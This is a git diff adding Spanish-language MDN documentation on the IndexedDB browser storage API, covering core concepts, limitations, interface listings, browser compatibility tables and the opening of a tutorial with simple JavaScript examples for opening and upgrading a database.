+ <p>Cuando un objeto o un arreglo es almacenado, las propiedades y valores en ese objeto o arreglo pueden ser cualquier cosa que sea un valor válido.</p>
+
+ <p>Se pueden almacenar <a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a> y archivos. cf. <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">especificación</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Rango y ámbito</h3>
+
+<dl>
+ <dt>ámbito</dt>
+ <dd>El conjunto de almacenes de objetos e índices en los que una transacción aplica. Los ámbitos de varias transacciones de solo lectura pueden solaparse y ejecutarse al mismo tiempo. En cambio, los ámbitos de transacciones de escritura no pueden solaparse. Aún así se pueden crear varias transacciones con el mismo ámbito al mismo tiempo, pero éstas serán manejadas por una cola y ejecutadas una detrás de otra.</dd>
+ <dt>cursor</dt>
+ <dd>Un mecanismo para iterar a través de múltiples registros con un <em>rango de llaves</em>. El cursor tiene un orígen que indica que índice o almacén de datos está iterando. El cursor tiene una posición dentro del rango, y se mueve en dirección creciente o decreciente en el orden de las llaves de cada registro. Para obtener documentación de referencia sobre cursores, vea <a href="../../../../en/IndexedDB/IDBCursor" rel="internal">IDBCursor</a> o <a href="../../../../en/IndexedDB/IDBCursorSync" rel="internal">IDBCursorSync</a>.</dd>
+ <dt>rango de llaves</dt>
+ <dd>
+ <p>Un intervalo continuo sobre algún tipo de datos utilizado para las llaves. Los registros pueden obtenerse desde los almacenes e índices usando llaves o un rango de llaves. Los rangos pueden limitarse o filtrarse con umbrales inferiores y superiores. Por ejemplo, se puede iterar sobre todos los valores de una llave desde x hasta y.</p>
+
+ <p>Para documentación de referencia sobre los rangos de llaves, vea <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">Limitaciones</h2>
+
+<p>IndexedDB está diseñado para cubrir la mayoría de los casos en los que se necesita almacenamiento del lado del cliente. Sin embargo, no están contemplados en su diseño unos pocos casos como los siguientes:</p>
+
+<ul>
+ <li>Ordenamiento internacionalizado. No todos los idiomas ordenan las cadenas de la misma forma, por lo que el ordenamiento internacionalizado no está soportado. Aún cuando la base de datos no puede ordenar los datos respetando su idioma, usted puede ordenar los datos obtenidos de la base de datos por su cuenta.</li>
+ <li>Sincronización. La API no está diseñada para tomar en cuenta la sincronización con una base de datos del lado del servidor. Usted debe escribir el código de sincronización para estos casos.</li>
+ <li>Búsqueda de Texto Completo. La API no ofrece un equivalente al operador <span style="direction: ltr;"><code>LIKE</code> en SQL. </span></li>
+</ul>
+
+<p>Adicionalmente, tenga en cuenta que los navegadores podrían eliminar la base de datos, como en las siguientes condiciones:</p>
+
+<ul>
+ <li>El usuario pide borrar los datos del navegador.<br>
+  Muchos navegadores tienen opciones que permiten al usuario eliminar todos los datos almacenados de un sitio, incluyendo cookies, marcadores, contraseñas, y datos de IndexedDB.</li>
+ <li>El navegador está en modo de navegación privada.<br>
+  Algunos navegadores tienen modos de "navegación privada" (Firefox) o "incógnito" (Chrome). Al final de la sesión, el navegador elimina la base de datos.</li>
+ <li>Se alcanza el límite de espacio en disco.</li>
+ <li>Los datos se corrompen.</li>
+ <li>Se realiza un cambio incompatible a ésta característica.</li>
+</ul>
+
+<p>Las circunstancias exactas y capacidades de los navegadores cambian con el tiempo, pero la filosofía de los navegadores es, en general, hacer lo posible por conservar los datos.</p>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Al momento, debido a errores o a propósito, es imposible abrir una base de datos IndexedDB desde un <a href="https://developer.mozilla.org/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets" title="/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets">Web App</a>. Esto requiere mayor investigación para documentarlo.</p>
+</div>
+
+<h2 id="next" name="next">Próximo paso</h2>
+
+<p>Ok, ahora con estos conceptos generales bajo nuestros cinturones, podemos seguir a cosas más concretas. Para un tutorial sobre como utilizar la API, vea <a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Usando IndexedDB</a>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<p>Especificación</p>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/"><span style="direction: ltr;">Especificación de la API de IndexedDB</span></a></li>
+</ul>
+
+<p>Referencia</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">Referencia de la API de IndexedDB</a></li>
+</ul>
+
+<p>Tutoriales</p>
+
+<ul>
+ <li><a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Usando IndexedDB</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">Una lista de tareas sencilla usando HTML5 e IndexedDB</a><span class="external">. </span><span class="external"> {{ Note("Este ejemplo usa una versión antigua de la especificación y no funciona en las versiones más recientes de los navegadores principales (aún utiliza el método <code>setVersion()</code>, que fue removido.") }}</span></li>
+</ul>
+
+<p>Artículo relacionado</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — El almacén en su navegador</a></li>
+</ul>
diff --git a/files/es/web/api/indexeddb_api/index.html b/files/es/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..6ac53d75fe
--- /dev/null
+++ b/files/es/web/api/indexeddb_api/index.html
@@ -0,0 +1,144 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+translation_of: Web/API/IndexedDB_API
+---
+<p>{{ SeeCompatTable() }}</p>
+
+<p>IndexedDB es una API de bajo nivel que ofrece almacenamiento en el cliente de cantidades significativas de datos estructurados, incluyendo archivos y blobs. Para búsquedas de alto rendimiento en esos datos usa índices. Mientras <a href="/en-US/docs/DOM/Storage" title="en-US/docs/DOM/Storage">DOM Storage</a> es útil para el almacenamiento de pequeñas cantidades de datos, no es útil para almacenar grandes cantidades de datos estructurados. IndexedDB proporciona una solución.</p>
+
+<p>Esta página es básicamente el punto de entrada para la descripción técnica de los objetos de la API. Si necesita algo elemental, debería consultar ;<a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">Conceptos básicos acerca de IndexedDB</a>. Para más detalles, vea <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB" title="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB">Usando IndexedDB</a>.</p>
+
+<p>IndexedDB provee APIs separados para un acceso síncrono o asíncrono. El API síncrono está destinado a ser usado únicamente dentro de <a href="/en-US/docs/DOM/Worker" title="Worker">Web Workers</a>, pero no será implementado aún por cualquier navegador. El API asíncrono trabaja con o sin Web Workers.</p>
+
+<h2 id="API_Asíncrono">API Asíncrono</h2>
+
+<p>Los métodos del API Asíncrono, retornan sin bloquear el hilo de llamada. Para obtener un acceso asíncrono a la base de datos, use <code><a href="/en-US/docs/IndexedDB/IDBFactory#open" title="en-US/docs/IndexedDB/IDBFactory#open">open</a></code>() en el atributo <code><a href="/en-US/docs/IndexedDB/IDBEnvironment#attr_indexedDB" title="en-US/docs/IndexedDB/IDBEnvironment#attr indexedDB">indexedDB</a></code> de un objeto <a href="/en-US/docs/DOM/window" title="en-US/docs/DOM/window">window</a>. Este método retorna un objeto IDBRequest (IDBOpenDBRequest); operaciones asíncronas se comunicarán con la aplicación que llama, disparando eventos en los objetos IDBRequest.</p>
+
+<div class="note">
+<p>Nota: El objeto <code>indexedDB</code> se prefija en las versiones antiguas de los navegadores (propiedad <code>mozIndexedDB</code> para Gecko &lt; 16, <code>webkitIndexedDB</code> en Chrome, y <code>msIndexedDB</code> en IE 10).</p>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/IndexedDB/IDBFactory" title="en-US/docs/IndexedDB/IDBFactory"><code>IDBFactory</code></a> provee acceso a la base de datos. Esta es la interface implementada por el objeto global <code>indexedDB</code> y es el punto de entrada para la API.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBCursor" title="en-US/docs/IndexedDB/IDBCursor"><code>IDBCursor</code></a> itera sobre los objetos de almacenamiento y de índices.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBCursorWithValue"><code>IDBCursorWithValue</code></a> itera sobre los objetos de almacenamiento y de índices y retorna el valor actual del cursor.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBDatabase" title="en-US/docs/IndexedDB/IDBDatabase"><code>IDBDatabase</code></a> representa una conexión a la base de datos. Es la única manera de realizar una transacción en la base de datos.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBEnvironment" title="en-US/docs/IndexedDB/IDBEnvironment"><code>IDBEnvironment</code></a> provee acceso a la base de datos, desde el lado del cliente. Está implementada por el objeto <a href="/../en-US/docs/DOM/window" rel="internal" title="../en-US/docs/DOM/window">window</a>.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBIndex" title="en-US/docs/IndexedDB/IDBIndex"><code>IDBIndex</code></a> provee acceso a la metadata de un índice.</li>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBKeyRange" title="en-US/docs/IndexedDB/KeyRange">IDBKeyRange</a></code> define un rango de claves.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBObjectStore" title="en-US/docs/IndexedDB/IDBObjectStore"><code>IDBObjectStore</code></a> representa un objeto de almacenamiento.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> representa un requerimiento para abrir una base de datos.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBRequest" title="en-US/docs/IndexedDB/IDBRequest"><code>IDBRequest</code></a> provee acceso a los resultados de los requerimientos asíncronos a la base de datos y a los objetos database. Es lo que se obtiene cuando se llama a un método asíncrono.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBTransaction" title="en-US/docs/IndexedDB/IDBTransaction"><code>IDBTransaction</code></a> representa una transacción. Cuando Ud. crea una transacción en la base de datos, especifica el alcance (como a que objetos store desea tener acceso), y determina la clase de acceso (sólo lectura o escritura) que desea tener.</li>
+ <li><a href="/en-US/docs/IndexedDB/IDBVersionChangeEvent" title="IDBVersionChangeEvent"><code>IDBVersionChangeEvent</code></a> indica que la versión de la base de datos ha cambiado.</li>
+</ul>
+
+<p>Una versión anterior de la especificación también define estas -ahora removidas- interfaces. Éstas son documentadas todavía, en caso de que necesite actualizar código escrito previamente:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBVersionChangeRequest" title="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBVersionChangeRequest">IDBVersionChangeRequest</a></code> representa una solicitud para cambiar la versión de una base de datos. La manera de cambiar la versión de la base de datos ahora es diferente (llamando <a href="/en-US/docs/IndexedDB/IDBFactory#open" title="en-US/docs/IndexedDB/IDBFactory#open"><code>IDBFactory.open()</code></a> sin llamar también a <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a>), y la interfaz <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> tiene ahora la funcionalidad de la eliminada <code>IDBVersionChangeRequest</code>.</li>
+ <li><code><a href="/en-US/docs/IndexedDB/IDBDatabaseException" title="en-US/docs/IndexedDB/DatabaseException">IDBDatabaseException </a></code> {{ obsolete_inline() }} representa las condiciones de excepción que se pueden encontrar mientras se ejecutan operaciones en la base de datos.</li>
+</ul>
+
+<p>Hay también una <a href="/en-US/docs/IndexedDB/Syncronous_API" title="/en-US/docs/IndexedDB/SyncronousAPI">versión sincrónica de la API</a>. La API síncrona no ha sido implementada en cualquier navegador. Está destinada a ser usada con <a href="/en-US/docs/DOM/Using_web_workers" title="https://developer.mozilla.org/en-US/docs/Using_web_workers">WebWorkers</a>.</p>
+
+<h2 id="Límites_de_almacenamiento">Límites de almacenamiento</h2>
+
+<p>No existe un límite de tamaño para un elemento simple de la base de datos. Sin embargo, puede haber un límite en el tamaño de cada base de datos IndexedDB. Este límite (y la forma en que la interfaz de usuario la hace valer) puede variar de una navegador a otro:</p>
+
+<ul>
+ <li>
+  <p>Firefox: no hay límite en el tamaño de una base de datos IndexedDB. La interfaz de usuario solicita permiso para almacenar blobs de más de 50MB. Este límite puede ser modificado mediante la preferencia dom.indexedDB.warningQuota (que está definida en <a href="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js" title="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js">http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js</a>).</p>
+ </li>
+ <li>Google Chrome: vea <a class="link-https" href="https://developers.google.com/chrome/whitepapers/storage#temporary" rel="freelink">https://developers.google.com/chrome...rage#temporary</a></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Un claro ejemplo para lo que IndexedDB puede ser utilizado en la web, es el ejemplo de Marco Castelluccio, ganador del DevDerby IndexedDB Mozilla. La demostración ganadora fue <a href="/en-US/demos/detail/elibri" title="https://developer.mozilla.org/en-US/demos/detail/elibri">eLibri</a>, una biblioteca y una aplicación de lectura de libros electrónicos.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de los navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>API asíncrono</td>
+   <td>
+    <p>24.0<br>
+     11.0 {{ property_prefix("webkit") }}</p>
+   </td>
+   <td>
+    <p>{{ CompatGeckoDesktop("16.0") }}<br>
+     {{ CompatGeckoDesktop("2.0") }} {{ property_prefix("moz") }}</p>
+   </td>
+   <td>10 {{ property_prefix("ms") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>API síncrono<br>
+    (usado por <a href="/en-US/docs/DOM/Using_web_workers" title="https://developer.mozilla.org/en-US/docs/Using_web_workers">WebWorkers</a>)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}<br>
+    Vea {{ bug(701634) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>API síncrono</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Para otra matriz de compatibilidad, vea también: <a href="http://caniuse.com/indexeddb" title="http://caniuse.com/indexeddb">Cuándo puedo usar IndexedDB</a></p>
+
+<p>También existe la posibilidad de usar IndexedDB en <a href="http://caniuse.com/sql-storage" title="http://caniuse.com/sql-storage"> navegadores que soportan WebSQL</a> por el uso de <a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en-US/docs/IndexedDB/Basic Concepts Behind IndexedDB">Conceptos básicos acerca de IndexedDB</a></li>
+ <li><a href="/en-US/docs/IndexedDB/Using_IndexedDB" title="en-US/docs/IndexedDB/IndexedDB primer">Usando IndexedDB</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/" title="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Almacenando imágenes y archivos en IndexedDB</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">Una lista simple de PENDIENTES usando HTML5 IndexedDB</a>.  Nota("Este tutorial está basado en una antigua versión de la especificación y no funciona en los navegadores actualizados. por ejemplo, todavía usa el método actualmente eliminado <code>setVersion()</code>.")</li>
+ <li><a class="external" href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Especificación de la API para Indexed Database </a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — El alamcén en su navegador</a></li>
+ <li><a class="external" href="http://caniuse.com/indexeddb" title="http://caniuse.com/indexeddb">Soporte IndexedDB en navegadores</a></li>
+ <li><a class="external" href="http://nparashuram.com/IndexedDB/trialtool/index.html" title="http://nparashuram.com/IndexedDB/trialtool/index.html">Ejemplos IndexedDB</a></li>
+ <li><a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a> para navegadores que sólo soportan WebSQL (p.e. mobile WebKit)</li>
+ <li><a href="http://nparashuram.com/IndexedDBShim/" title="http://nparashuram.com/IndexedDBShim/">JQuery IndexedDB plugin</a></li>
+</ul>
diff --git a/files/es/web/api/indexeddb_api/usando_indexeddb/index.html b/files/es/web/api/indexeddb_api/usando_indexeddb/index.html
new file mode 100644
index 0000000000..ea9d2d879c
--- /dev/null
+++ b/files/es/web/api/indexeddb_api/usando_indexeddb/index.html
@@ -0,0 +1,1308 @@
+---
+title: Usando IndexedDB
+slug: Web/API/IndexedDB_API/Usando_IndexedDB
+tags:
+  - API
+  - Almacenamiento
+  - Avanzado
+  - Base de datos
+  - Guía
+  - IndexedDB
+  - Tutorial
+  - jsstore
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<div class="summary">
+<p>IndexedDB es una manera de almacenar datos dentro del navegador del usuario. Debido a que permite la creación de aplicaciones con habilidades de consulta enriquecidas, con independencia de la disponibilidad de la red, sus aplicaciones pueden trabajar tanto en línea como fuera de línea.</p>
+</div>
+
+<h2 id="Acerca_de_este_documento">Acerca de este documento</h2>
+
+<p>Este tutorial es una guía sobre el uso de la API asíncrona de IndexedDB. Si no está familiarizado con IndexedDB, por favor consulte primero <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" style="line-height: 1.5;" title="en/IndexedDB/Basic Concepts Behind IndexedDB">Conceptos Básicos Acerca de IndexedDB</a><span style="line-height: 1.5;">.</span></p>
+
+<p>Para la documentación de referencia sobre la API de IndexedDB, vea el artículo <a href="/es/docs/IndexedDB" style="line-height: 1.5;" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a><span style="line-height: 1.5;"> y sus subpaginas, que documentan los tipos de objetos usados por IndexedDB, así como los métodos síncronos y asíncronos. </span></p>
+
+<h2 id="pattern" name="pattern">Patrones Básicos</h2>
+
+<p>El patrón básico que indexedDB propone es:</p>
+
+<ol>
+ <li>Abrir una base de datos.</li>
+ <li>Crear un objeto de almacenamiento en la base de datos.</li>
+ <li>Iniciar una transacción y hacer una petición para hacer alguna operación de la base de datos, tal como añadir o recuperar datos.</li>
+ <li>
+  <div><span id="result_box" lang="es"><span class="hps">Espere a que</span> <span class="hps">se complete la operación</span> <span class="hps">por</span> <span class="hps">la escucha de la</span> <span class="hps">clase correcta de</span> <span class="hps">eventos DOM</span></span> .</div>
+ </li>
+ <li>
+  <div>Hacer algo con el resultado (El cual puede ser encontrado en el objeto de la petición).</div>
+ </li>
+</ol>
+
+<p>Con esos grandes rasgos en mente, seremos más concretos.</p>
+
+<h2 id="open" name="open">Creando y estructurando el almacenamiento</h2>
+
+<p>Como las especificaciones están todavía elaborandose, las implementaciones actuales de indexedDB dependen de los navegadores. H<span id="result_box" lang="es"><span class="hps">asta que la</span> <span class="hps">especificación</span> <span class="hps">se haya consolidado, l</span></span>os proveedores de navegadores pueden tener diferentes implementaciones de los estandares de indexedDB<span id="result_box" lang="es"><span>.</span></span> Una vez se alcance el consenso en el estandar, los proveedores implementarán la API sin prefijos. En algunas implementaciones ya fueron removidos los prefijos: Internet Explorer 10, Firefox 16, Chrome 24. Cuando utilizan un prefijo, los navegadores basados en gecko usan el prefijo <code>moz</code> , mientras que los navegadores basados en WebKit usan el prefijo <code>webkit</code>.</p>
+
+<h3 id="Usando_una_versión_experimental_de_IndexedDB">Usando una versión experimental de IndexedDB</h3>
+
+<p>En caso que usted quiera probar su código en navegadores que todavía usen un prefijo, puede usar el siguiente codigo:  </p>
+
+<pre class="brush: js">// En la siguiente línea, puede incluir prefijos de implementación que quiera probar.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// No use "var indexedDB = ..." Si no está en una función.
+// Por otra parte, puedes necesitar referencias a algun objeto window.IDB*:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla nunca ha prefijado estos objetos, por lo tanto no necesitamos window.mozIDB*)</pre>
+
+<p>Hay que tener cuidado con las implementaciones que usan un prefijo ya que puede ser inestables, incompletas, o usen una versión antigua de la especificación. En producción se recomienda usar el código sin prefijos. Es preferible no tener soporte para un navegador a decir que lo tiene y fallar en ello :</p>
+
+<pre class="brush: js">if (!window.indexedDB) {
+    window.alert("Su navegador no soporta una versión estable de indexedDB. Tal y como las características no serán validas");
+}
+</pre>
+
+<h3 id="Abriendo_una_base_de_datos">Abriendo una base de datos</h3>
+
+<p>Iniciamos todo el proceso así:</p>
+
+<pre class="brush: js">// dejamos abierta nuestra base de datos
+var request = window.indexedDB.open("MyTestDatabase", 3);
+</pre>
+
+<p>¿Lo has visto? Abrir una base de datos es igual que cualquier otra operación — solo tienes que "solicitarla" (request).</p>
+
+<p>La solicitud de apertura no abre la base de datos o inicia la transacción de inmediato. La llamada a la función <code>open()</code> retornan unos objetos <code><a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest">IDBOpenDBRequest</a>,</code> cuyo resultado, correcto o erróneo, se maneja en un evento.  Alguna otra función asincrónica en indexedDB hace lo mismo - Devolver un objeto <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> que disparará un evento con el resultado o el error. El resultado para la función de abrir es una instancia de un <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a>.</code></p>
+
+<p>El segundo parámetro para el método open es la versión de la base de datos. La versión de la base de datos determina el esquema - El almacen de objectos en la base de datos y su estructura. Si la base de datos no existe, es creada y se dispara un evento <code>onupgradeneeded</code> de inmediato, permitiéndote proveer una actualización de la estructura e índices en la función que capture dicho evento. Se verá más adelante en  <a href="#Updating_the_version_of_the_database">Actualizando la versión de la base de datos</a>. </p>
+
+<div class="warning">
+<p><strong>Importante</strong>: El número de versión es un <code>unsigned long</code>. Por lo tanto significa que puede ser un entero muy grande. También significa que si usas un flotante será convertido en un entero más cercano y la transacción puede no ser iniciada, el evento <code>upgradeneeded </code>no se desencadenará. Por ejemplo no use 2.4 como un número de versión ya que será igual que la 2:</p>
+
+<pre class="brush: js">var request = indexedDB.open("MyTestDatabase", 2.4); // Esto no se hace, la versión será redondeada a 2</pre>
+</div>
+
+<h4 id="Generando_manipuladores">Generando manipuladores</h4>
+
+<p>La primera cosa que usted querrá hacer con la totalidad de las peticiones que usted genera es agregar controladores de éxito y de error:</p>
+
+<pre class="brush: js">request.onerror = function(event) {
+  // Hacer algo con request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Hacer algo con request.result!
+};</pre>
+
+<p>¿Cuál de las dos funciones, onSuccess () o onerror (), se vuelve a llamar? Si todo tiene éxito, un evento de éxito (es decir, un evento DOM cuya propiedad tipo se establece en el "éxito") se dispara con la solicitud como su objetivo. Una vez que se dispara, la función onSuccess () a petición se activa con el evento de éxito como argumento. De lo contrario, si había algún problema, un evento de error (es decir, un evento DOM cuyo tipo de propiedad se establece en "error") se dispara a petición. Esto desencadena la función onerror () con el evento de error como argumento.</p>
+
+<p>La API IndexedDB está diseñada para minimizar la necesidad de control de errores, por lo que no es probable que veamos muchos eventos de error (al menos, no una vez que estás acostumbrado a la API). En el caso de la apertura de una base de datos, sin embargo, hay algunas condiciones comunes que generan eventos de error. El problema más común se produce cuando el usuario ha decidido no dar, a su aplicación web, el permiso para crear una base de datos. Uno de los principales objetivos de diseño de IndexedDB es permitir que grandes cantidades de datos se almacenen para su uso sin conexión a internet. (Para obtener más información sobre la cantidad de almacenamiento que puede tener para cada navegador, consulte <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API#Storage_limits">Límites de almacenamiento</a>.)  </p>
+
+<p>Obviamente, los navegadores no permitirán que alguna red de publicidad o sitio web malicioso pueda contaminar su ordenador, por ello los navegadores utilizan un diálogo para indicar al usuario la primera vez que cualquier aplicación web determinada intente abrir una IndexedDB para el almacenamiento. El usuario puede optar por permitir o denegar el acceso. Además, el almacenamiento IndexedDB en los modos de privacidad navegadores sólo dura en memoria hasta que la sesión de incógnito haya sido cerrada (modo de navegación privada para el modo de Firefox e Incognito para Chrome, pero en Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=781982">no está implementado</a> a partir de noviembre 2015 por lo que no puede utilizar IndexedDB en Firefox navegación privada en absoluto).</p>
+
+<p>Ahora, asumiendo que el usuario acepta su solicitud para crear una base de datos, y que ha recibido un evento de éxito para activar la devolución de llamada de éxito; ¿Que sigue? La solicitud aquí se generó con una llamada a indexedDB.open (), por lo request.result es una instancia de IDBDatabase, y que sin duda quieren ahorrar para más adelante. Su código podría ser algo como esto:</p>
+
+<pre class="brush: js">var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = request.result;
+};
+</pre>
+
+<h4 id="Manejando_errores">Manejando errores</h4>
+
+<p>Como se mencionó anteriormente, los eventos de error de burbujas. Eventos de error se dirigen a la solicitud que generó el error, entonces el evento se propaga a la operación, y finalmente con el objeto de base de datos. Si desea evitar la adición de controladores de errores a cada solicitud, en su lugar puede añadir un solo controlador de errores en el objeto de base de datos, así:</p>
+
+<pre class="brush: js">db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
+<p>Uno de los errores más comunes posibles al abrir una base de datos es <code>VER_ERR</code>. Indica que la versión de la base de datos almacenada en el disco es mayor que la versión que está intentando abrir. Este es un caso de error que siempre debe ser manejado por el gestor de errores.</p>
+
+<h3 id="Creación_o_actualización_de_la_versión_de_la_base_de_datos">Creación o actualización de la versión de la base de datos</h3>
+
+<p>Cuando se crea una nueva base de datos o se aumenta el número de versión de una base de datos existente (mediante la especificación de un número de versión más alto de lo que hizo antes, en {{anch ("Cómo abrir una base de datos")}}), el evento onupgradeneeded se activará y un objeto <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBVersionChangeEvent">IDBVersionChangeEvent</a> será pasado a cualquier controlador de eventos <code>onversionchange</code> establecido en <code>request.result</code> (es decir, db en el ejemplo). En el controlador para el evento <code>upgradeneeded</code>, se debe crear los almacenes de objetos necesarios para esta versión de la base de datos:</p>
+
+<pre class="brush:js;">// Este evento solamente está implementado en navegadores recientes
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Crea un almacén de objetos (objectStore) para esta base de datos
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</pre>
+
+<p>En este caso, la base de datos ya tendrá los almacenes de objetos de la versión anterior de la base de datos, por lo que no tiene que crear estos almacenes de objetos de nuevo. Sólo es necesario crear nuevos almacenes de objetos, o eliminar las tiendas de objetos de la versión anterior que ya no son necesarios. Si necesita cambiar un almacén de objetos existentes (por ejemplo, para cambiar la ruta de acceso clave <code>keyPath</code>), entonces se debe eliminar el antiguo almacén de objetos y crear de nuevo con las nuevas opciones. (Tenga en cuenta que esto borrará la información en el almacén de objetos Si usted necesita guardar esa información, usted debe leerlo y guardarlo en otro lugar antes de actualizar la base de datos.)</p>
+
+<p>Tratar de crear un almacén de objetos con un nombre que ya existe (o tratando de eliminar un almacén de objetos con un nombre que no existe) lanzará un error.</p>
+
+<p>Si el evento <code>onupgradeneeded</code> retorna éxito, entonces se activará el manejador <code>onsuccess</code> de la solicitud de base de datos abierta.</p>
+
